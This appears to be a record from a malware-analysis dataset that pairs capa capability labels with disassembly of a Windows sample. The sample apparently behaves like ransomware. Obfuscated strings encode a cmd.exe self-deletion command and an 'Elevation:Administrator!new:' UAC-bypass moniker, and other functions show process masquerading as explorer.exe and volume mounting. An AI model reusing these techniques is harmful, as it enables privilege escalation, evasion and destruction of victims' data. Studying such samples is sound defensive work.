joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405480
Capabilities:
Check os version
Get hostname
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push ebx
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push edi
push eax
call fcn.00404ff0
push 0x98
lea eax, [ebp - 0xb4]
push 0
push eax
call fcn.00401000
add esp, 0x10
mov dword [ebp - 0xb8], 0x9c
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x64
push 0
call sub.NETAPI32.dll_NetWkstaGetInfo
test eax, eax
jne 0x4054f8
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb0], eax
jmp 0x40556d
cmp dword [ebp - 0xb4], 6
jne 0x40556d
cmp dword [ebp - 0xb0], 2
jne 0x40556d
push 1
push 1
push 0
push 0
call dword [sym.imp.ntdll.dll_VerSetConditionMask]
push 0x11c
mov edi, eax
mov esi, edx
lea eax, [ebp - 0x238]
push 0
push eax
call fcn.00401000
add esp, 0xc
mov dword [ebp - 0x238], 0x11c
lea eax, [ebp - 0x238]
mov dword [ebp - 0x230], 3
push esi
push edi
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_VerifyVersionInfoW]
mov ecx, dword [ebp - 0xb0]
test eax, eax
mov edx, 3
cmovne ecx, edx
mov dword [ebp - 0xb0], ecx
lea eax, [ebp - 0xdc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0xb4]
cmp eax, 0xa
jne 0x405593
cmp byte [ebp - 0x1e], 1
sete al
inc al
jmp 0x405617
cmp eax, 6
jne 0x4055dc
mov eax, dword [ebp - 0xb0]
cmp eax, 3
jne 0x4055ae
cmp byte [ebp - 0x1e], 1
sete al
add al, 3
jmp 0x405617
cmp eax, 2
jne 0x4055be
cmp byte [ebp - 0x1e], 1
sete al
add al, 5
jmp 0x405617
cmp eax, 1
jne 0x4055cd
cmp byte [ebp - 0x1e], al
sete al
add al, 7
jmp 0x405617
test eax, eax
jne 0x405615
cmp byte [ebp - 0x1e], 1
sete al
add al, 9
jmp 0x405617
cmp eax, 5
jne 0x405615
mov eax, dword [ebp - 0xb0]
cmp eax, 2
jne 0x405604
cmp byte [ebp - 0x1e], 1
jne 0x405600
cmp word [ebp - 0xdc], 9
jne 0x405600
mov al, 0xb
jmp 0x405617
mov al, 0xc
jmp 0x405617
cmp eax, 1
jne 0x40560d
mov al, 0xd
jmp 0x405617
test eax, eax
jne 0x405615
mov al, 0xe
jmp 0x405617
xor al, al
mov edi, dword [ebp + 8]
mov byte [edi], al
call fcn.004056b0
neg eax
sbb al, al
and al, 0xde
add al, 0x55
mov byte [edi + 1], al
cmp dword [ebp - 8], 0
setne al
lea eax, [eax*4 + 0xda]
mov byte [edi + 2], al
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, byte [ebp - 0x16]
mov ebx, dword [ebp + 0xc]
mov byte [edi + 3], al
movzx eax, byte [ebp - 0x1a]
mov byte [edi + 4], al
movzx eax, byte [ebp - 0x12]
mov byte [edi + 5], al
movzx eax, byte [ebp - 0x14]
mov byte [edi + 6], al
lea eax, [ebp - 0xc]
add dword [ebx], 7
push eax
lea eax, [ebp - 0x11c]
mov dword [ebp - 0xc], 0x40
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
test eax, eax
je 0x40569e
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x11c]
push esi
push eax
lea eax, [edi + 7]
push eax
call fcn.004013a0
add esp, 0xc
add dword [ebx], esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4056b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], 0x6f577349
push eax
mov dword [ebp - 0x1c], 0x50343677
mov dword [ebp - 0x18], 0x65636f72
mov word [ebp - 0x14], 0x7373
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x10], 0x6e72656b
mov dword [ebp - 0xc], 0x32336c65
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x425dc4], eax
test eax, eax
je 0x405714
lea ecx, [ebp - 4]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x406dd0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c0
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x2b0]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x6c], 0x2f0020
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x68], 0x200043
push eax
lea eax, [ebp - 0x6c0]
mov dword [ebp - 0x64], 0x690070
push eax
mov dword [ebp - 0x60], 0x67006e
mov dword [ebp - 0x5c], 0x310020
mov dword [ebp - 0x58], 0x31002e
mov dword [ebp - 0x54], 0x31002e
mov dword [ebp - 0x50], 0x31002e
mov dword [ebp - 0x4c], 0x2d0020
mov dword [ebp - 0x48], 0x20006e
mov dword [ebp - 0x44], 0x300032
mov dword [ebp - 0x40], 0x3e0020
mov dword [ebp - 0x3c], 0x4e0020
mov dword [ebp - 0x38], 0x6c0075
mov dword [ebp - 0x34], 0x260020
mov dword [ebp - 0x30], 0x440020
mov dword [ebp - 0x2c], 0x6c0065
mov dword [ebp - 0x28], 0x2f0020
mov dword [ebp - 0x24], 0x200066
mov dword [ebp - 0x20], 0x71002f
mov dword [ebp - 0x1c], 0x220020
mov dword [ebp - 0x18], 0x730025
mov dword [ebp - 0x14], 0x22
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6d0063
mov dword [ebp - 0x98], eax
add esp, 0xc
lea eax, [ebp - 0x6c0]
mov dword [ebp - 0xc], 0x2e0064
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 8], 0x780065
push eax
mov dword [ebp - 4], 0x65
mov dword [ebp - 0xa8], 0x3c
mov dword [ebp - 0xa4], 0x400
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407310
Capabilities:
Contain obfuscated stackstrings
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push esi
push 0x412
mov dword [ebp - 4], 0x209
call fcn.004121fe
mov esi, eax
add esp, 4
test esi, esi
je 0x407496
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
test eax, eax
jne 0x407380
call edi
cmp eax, 0xea
jne 0x407380
push esi
call fcn.004121f9
mov eax, dword [ebp - 4]
add eax, eax
push eax
call fcn.004121fe
mov esi, eax
add esp, 8
test esi, esi
jne 0x407343
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
je 0x407395
cmp eax, 3
jne 0x407487
cmp dword [ebp - 4], 3
jae 0x407487
xor eax, eax
mov dword [ebp - 0x28], 0x730025
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0x24], 0x62005c
push eax
mov dword [ebp - 0x20], 0x6f006f
mov dword [ebp - 0x1c], 0x6d0074
mov dword [ebp - 0x18], 0x720067
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x250]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp eax, 0xffffffff
jne 0x407480
xor eax, eax
mov dword [ebp - 0x10], 0x430025
mov word [ebp - 8], ax
mov edi, 0x19
push 0x5a
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x5c003a
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x48]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
test eax, eax
jne 0x407487
nop dword [eax]
dec edi
cmp edi, 0xffffffff
je 0x407487
xor eax, eax
mov dword [ebp - 0x10], 0x430025
mov word [ebp - 8], ax
lea eax, [edi + 0x41]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x5c003a
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x48]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
test eax, eax
je 0x407440
jmp 0x407487
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test esi, esi
je 0x407494
push esi
call fcn.004121f9
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4088d0
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
call fcn.004053c0
mov ecx, dword [0x426750]
test eax, eax
mov ebx, 1
cmovne ecx, ebx
mov dword [0x426750], ecx
call fcn.00405300
call fcn.004089e0
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0x28]
add eax, eax
push eax
push 0
push 0
push 0xffffffffffffffff
mov dword [0x426758], eax
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
cmp dword [ebp - 0x28], 0
mov dword [0x425dc8], eax
mov dword [ebp - 4], 0
jbe 0x408992
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push edi
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4074a0
push 0
push 0
call esi
mov ebx, eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4074a0
push 0
push 0
call esi
mov ecx, dword [ebp - 4]
mov esi, 1
shl esi, cl
mov edi, eax
push esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_SetThreadAffinityMask]
call ebx
push esi
push edi
call ebx
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [ebp - 0x28]
jb 0x408937
pop edi
mov ebx, 1
pop esi
push 0x426760
push 0x426388
call fcn.00405480
push 0x425e7c
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x107d0
push ecx
mov dword [ebp - 0x12], 0x10001
mov dword [ebp - 0xe], 0x10001
mov word [ebp - 0x14], bx
mov word [ebp - 0xa], bx
call dword [sym.imp.KERNEL32.DLL_SystemTimeToFileTime]
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408ca0
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x88
push esi
push edi
push str.RtlIpv4AddressToStringA
push str.ntdll
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x408e5f
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x2e
push 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
push dword [ebp - 4]
call fcn.004121fe
add esp, 4
mov edi, eax
lea eax, [ebp - 4]
mov dword [ebp - 0x14], edi
push eax
push edi
push 0
push 0x2e
push 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov dword [ebp - 0xc], edi
mov ecx, edi
test edi, edi
je 0x408e4c
nop word [eax + eax]
cmp dword [ecx + 0x40], 0x18
je 0x408e3b
cmp dword [ecx + 0x44], 1
jne 0x408e3b
mov eax, dword [ecx + 0x10]
mov dword [ebp - 8], eax
test eax, eax
je 0x408e3b
mov eax, dword [eax + 0xc]
lea ecx, [ebp - 0x50]
push ecx
add eax, 4
push eax
call esi
add esp, 8
mov dword [ebp - 0x24], 0x2e302e30
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 0x302e30
push eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x408e27
mov eax, dword [ebp - 0x40]
movaps xmm0, xmmword [ebp - 0x50]
mov dword [ebp - 0x60], eax
mov ax, word [ebp - 0x3c]
mov word [ebp - 0x5c], ax
lea eax, [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x70], xmm0
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
xor esi, esi
nop dword [eax + eax]
push esi
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1c], 0x252e7325
push eax
lea eax, [ebp - 0x1c]
mov word [ebp - 0x18], 0x64
push eax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x408e1b
push 0x1c
call fcn.004121fe
add esp, 4
mov edi, eax
lea eax, [ebp - 0x88]
push eax
lea ecx, [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push edi
push dword [0x426b74]
call dword [sym.imp.ntdll.dll_RtlInterlockedPushEntrySList]
inc dword [0x426b94]
inc esi
cmp esi, 0xff
jl 0x408db0
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
test eax, eax
jne 0x408d52
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + 8]
mov dword [ebp - 0xc], ecx
test ecx, ecx
jne 0x408d30
mov edi, dword [ebp - 0x14]
push edi
mov dword [0x426b90], 1
call fcn.004121f9
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x409170
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
sub esp, 0x248
cmp dword [ebp + 8], 0
push ebx
mov ebx, dword [eax + 0x30]
push esi
jne 0x409223
push 4
push 0x3000
lea eax, [ebp - 0x3c]
mov dword [0x426bac], 0
push eax
push 0
push 0x426bac
push 0xffffffffffffffff
mov dword [ebp - 0x3c], 0x1000
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x409223
push 0x104
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
lea eax, [ebp - 0x248]
mov dword [ebp - 0x38], 0x65005c
push eax
push dword [0x426bac]
mov dword [ebp - 0x34], 0x700078
mov dword [ebp - 0x30], 0x6f006c
mov dword [ebp - 0x2c], 0x650072
mov dword [ebp - 0x28], 0x2e0072
mov dword [ebp - 0x24], 0x780065
mov dword [ebp - 0x20], 0x65
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x38]
push eax
push dword [0x426bac]
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
call dword [sym.imp.ntdll.dll_RtlAcquirePebLock]
push dword [0x426bac]
mov esi, dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor eax, eax
mov word [ebp - 4], ax
mov dword [ebp - 0x1c], 0x780065
mov dword [ebp - 0x18], 0x6c0070
mov dword [ebp - 0x14], 0x72006f
mov dword [ebp - 0x10], 0x720065
mov dword [ebp - 0xc], 0x65002e
mov dword [ebp - 8], 0x650078
mov eax, dword [ebx + 0x10]
add eax, 0x38
push eax
call esi
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebx + 0x10]
add eax, 0x40
push eax
call esi
call dword [sym.imp.ntdll.dll_RtlReleasePebLock]
push dword [ebp + 8]
push 0x4092a0
push 0
call dword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push dword [ebp + 8]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 0x40
jg 0x409457
mov ecx, 0x24
lea eax, [ebp - 0x64]
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x409380
mov eax, dword [ebp + 0x10]
mov ecx, 4
test eax, eax
mov dword [ebp - 0x64], 0x24
push ebx
cmovne ecx, eax
mov dword [ebp - 0x40], 0x6c0045
xor eax, eax
mov dword [ebp - 0x50], ecx
mov word [ebp - 8], ax
lea eax, [ebp - 0x40]
push edi
push eax
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x3c], 0x760065
push eax
mov dword [ebp - 0x38], 0x740061
mov dword [ebp - 0x34], 0x6f0069
mov dword [ebp - 0x30], 0x3a006e
mov dword [ebp - 0x2c], 0x640041
mov dword [ebp - 0x28], 0x69006d
mov dword [ebp - 0x24], 0x69006e
mov dword [ebp - 0x20], 0x740073
mov dword [ebp - 0x1c], 0x610072
mov dword [ebp - 0x18], 0x6f0074
mov dword [ebp - 0x14], 0x210072
mov dword [ebp - 0x10], 0x65006e
mov dword [ebp - 0xc], 0x3a0077
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push dword [ebp + 8]
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov ecx, dword [ebp + 0x14]
mov edx, eax
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov dword [ecx], eax
mov eax, edx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x14]
mov eax, 0x80004005
mov ecx, dword [ebp - 4]
mov dword [edx], ecx
mov esp, ebp
pop ebp
ret
Function at 0x409b10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x409bda
mov ecx, dword [ebp + 0x14]
lea edx, [eax - 1]
push ebx
push esi
mov esi, dword [ebp + 0x1c]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0x18]
sub ebx, edi
shr edx, 4
inc edx
mov dword [ebp + 0x10], ebx
mov dword [ebp - 4], edx
mov edx, dword [ebp + 8]
nop
lea eax, [edi + 0xf]
cmp esi, eax
ja 0x409b4e
lea eax, [esi + 0xf]
cmp eax, edi
jae 0x409b5c
lea eax, [ecx + 0xf]
cmp esi, eax
ja 0x409b8d
lea eax, [esi + 0xf]
cmp eax, ecx
jb 0x409b8d
mov ebx, esi
mov eax, edi
mov esi, dword [ebp + 0x10]
sub ebx, edi
mov edx, 0x10
nop word [eax + eax]
mov cl, byte [esi + eax]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
mov byte [ebx + eax - 1], cl
sub edx, 1
jne 0x409b70
mov esi, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
jmp 0x409b9a
movups xmm1, xmmword [edi]
movups xmm0, xmmword [ecx]
pxor xmm1, xmm0
movups xmmword [esi], xmm1
cmp dword [ebp + 0xc], 1
push esi
push esi
push edx
jne 0x409baa
call fcn.0040a6e0
jmp 0x409baf
call fcn.0040a150
movups xmm0, xmmword [esi]
mov ecx, dword [ebp + 0x14]
add esi, 0x10
mov edx, dword [ebp + 8]
sub ebx, 0x10
add esp, 0xc
mov dword [ebp + 0x1c], esi
add edi, 0x10
mov dword [ebp + 0x10], ebx
sub dword [ebp - 4], 1
movups xmmword [ecx], xmm0
jne 0x409b40
pop edi
pop esi
pop ebx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40f530
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
mov ebx, dword [ebp + 0x10]
cmp ebx, 0x180
jbe 0x40f54f
mov eax, 0xffffffc8
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 0x1a0
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.00401000
lea eax, [ebp - 0x31c]
push eax
call fcn.00409c30
mov eax, ebx
mov byte [ebp - 0x1f1], bl
shr eax, 0x18
mov byte [ebp - 0x1f4], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0x1f3], al
mov eax, ebx
shr eax, 8
push ebx
push dword [ebp + 0xc]
mov byte [ebp - 0x1f2], al
lea eax, [ebp - 0x1ec]
push eax
mov byte [ebp - 0x1ed], 0x30
call fcn.004013a0
lea esi, [ebx + 0x19]
mov byte [ebp + ebx - 0x1ec], 0x80
add esp, 0x1c
mov dword [ebp - 4], esi
xor eax, eax
mov byte [ebp + eax - 0x64], al
inc eax
cmp eax, 0x20
jl 0x40f5c0
push 0x100
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x31c]
push eax
call fcn.00409c50
mov ebx, eax
add esp, 0xc
test ebx, ebx
jne 0x40f6c4
mov dword [ebp + 0x10], eax
lea ebx, [eax + 0x10]
push edi
xorps xmm0, xmm0
mov edi, esi
movups xmmword [ebp - 0x14], xmm0
test esi, esi
je 0x40f65c
lea esi, [ebp - 0x204]
lea eax, [ebp - 0x14]
sub esi, eax
nop dword [eax + eax]
xor eax, eax
lea edx, [ebp - 0x14]
add edx, eax
inc eax
mov cl, byte [esi + edx]
xor byte [edx], cl
cmp eax, 0x10
jl 0x40f612
add esi, 0x10
mov eax, edi
cmp edi, 0x10
cmovae eax, ebx
sub edi, eax
lea eax, [ebp - 0x14]
push eax
push eax
lea eax, [ebp - 0x31c]
push 1
push eax
call fcn.00409be0
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x40f6c3
lea ebx, [eax + 0x10]
test edi, edi
jne 0x40f610
movups xmm0, xmmword [ebp - 0x14]
mov eax, dword [ebp + 0x10]
mov esi, dword [ebp - 4]
inc byte [ebp - 0x201]
movups xmmword [ebp + eax - 0x44], xmm0
add eax, 0x10
mov dword [ebp + 0x10], eax
cmp eax, 0x30
jl 0x40f5f3
push 0x100
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x31c]
push eax
call fcn.00409c50
mov ebx, eax
add esp, 0xc
test ebx, ebx
jne 0x40f6c3
mov esi, dword [ebp + 8]
xor edi, edi
lea eax, [ebp - 0x24]
push eax
push eax
lea eax, [ebp - 0x31c]
push 1
push eax
call fcn.00409be0
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x40f6c3
movups xmm0, xmmword [ebp - 0x24]
add edi, 0x10
movups xmmword [esi], xmm0
add esi, 0x10
cmp edi, 0x30
jl 0x40f695
pop edi
lea eax, [ebp - 0x31c]
push eax
call fcn.00409c10
lea eax, [ebp - 0x204]
push 0x1a0
push eax
call fcn.0040fa90
lea eax, [ebp - 0x44]
push 0x30
push eax
call fcn.0040fa90
lea eax, [ebp - 0x64]
push 0x20
push eax
call fcn.0040fa90
lea eax, [ebp - 0x14]
push 0x10
push eax
call fcn.0040fa90
add esp, 0x24
pop esi
test ebx, ebx
je 0x40f717
push 0x30
push dword [ebp + 8]
call fcn.0040fa90
add esp, 8
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
lea esi, [ebp - 0x38]
push 0x30
mov eax, esi
mov dword [ebp - 4], esi
push 0
push eax
call fcn.00401000
mov edx, dword [ebp + 8]
mov edi, 1
add esp, 0xc
xor ebx, ebx
sub edi, edx
lea ecx, [edx + 0x20]
lea eax, [edx + 0xf]
mov dword [ebp - 8], ecx
add byte [eax], 1
jne 0x40f760
dec eax
lea ecx, [edi + eax]
test ecx, ecx
jg 0x40f753
push esi
push edx
lea ecx, [edx + 0x20]
push 1
push ecx
call fcn.00409be0
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x40f7d7
mov esi, dword [ebp - 4]
add ebx, 0x10
mov edx, dword [ebp + 8]
add esi, 0x10
mov dword [ebp - 4], esi
lea eax, [edx + 0xf]
cmp ebx, 0x30
jl 0x40f753
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 0x38]
xor ecx, ecx
sub edx, eax
lea eax, [ebp - 0x38]
add eax, ecx
add ecx, 0x10
movups xmm0, xmmword [eax]
movups xmm1, xmmword [edx + eax]
pxor xmm1, xmm0
movups xmmword [eax], xmm1
cmp ecx, 0x30
jl 0x40f797
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x38]
push 0x100
push eax
push ecx
call fcn.00409c50
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x40f7d7
mov eax, dword [ebp + 8]
movups xmm0, xmmword [ebp - 0x18]
movups xmmword [eax], xmm0
lea eax, [ebp - 0x38]
push 0x30
push eax
call fcn.0040fa90
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410b70
Capabilities:
Hash data using sha224
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov edx, 0x367cd507
mov ecx, dword [ebp + 0xc]
test ecx, ecx
push ebx
push esi
mov dword [eax], 0
mov ebx, 0x1f83d9ab
mov dword [eax + 4], 0
mov esi, 0x510e527f
mov eax, 0xbb67ae85
mov dword [ebp - 4], 0xc1059ed8
cmovne eax, edx
mov ecx, 0xa54ff53a
mov dword [ebp - 8], eax
mov edx, 0x3070dd17
mov eax, 0x3c6ef372
cmovne eax, edx
mov edx, 0x5be0cd19
mov dword [ebp - 0xc], eax
mov eax, 0x64f98fa7
cmovne ebx, eax
mov eax, 0x68581511
push edi
mov edi, 0x9b05688c
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp + 0xc]
cmovne edi, eax
mov eax, 0xffc00b31
cmovne esi, eax
mov eax, 0xbefa4fa4
cmovne edx, eax
test ebx, ebx
mov ebx, dword [ebp + 8]
mov eax, 0xf70e5939
cmovne ecx, eax
mov eax, 0x6a09e667
cmovne eax, dword [ebp - 4]
mov dword [ebx + 8], eax
mov eax, dword [ebp - 8]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebx + 0x10], eax
mov eax, ebx
mov ebx, dword [ebp - 0x10]
mov dword [eax + 0x14], ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x18], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ebx
pop edi
mov dword [eax + 0x24], edx
pop esi
mov dword [eax + 0x68], ecx
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret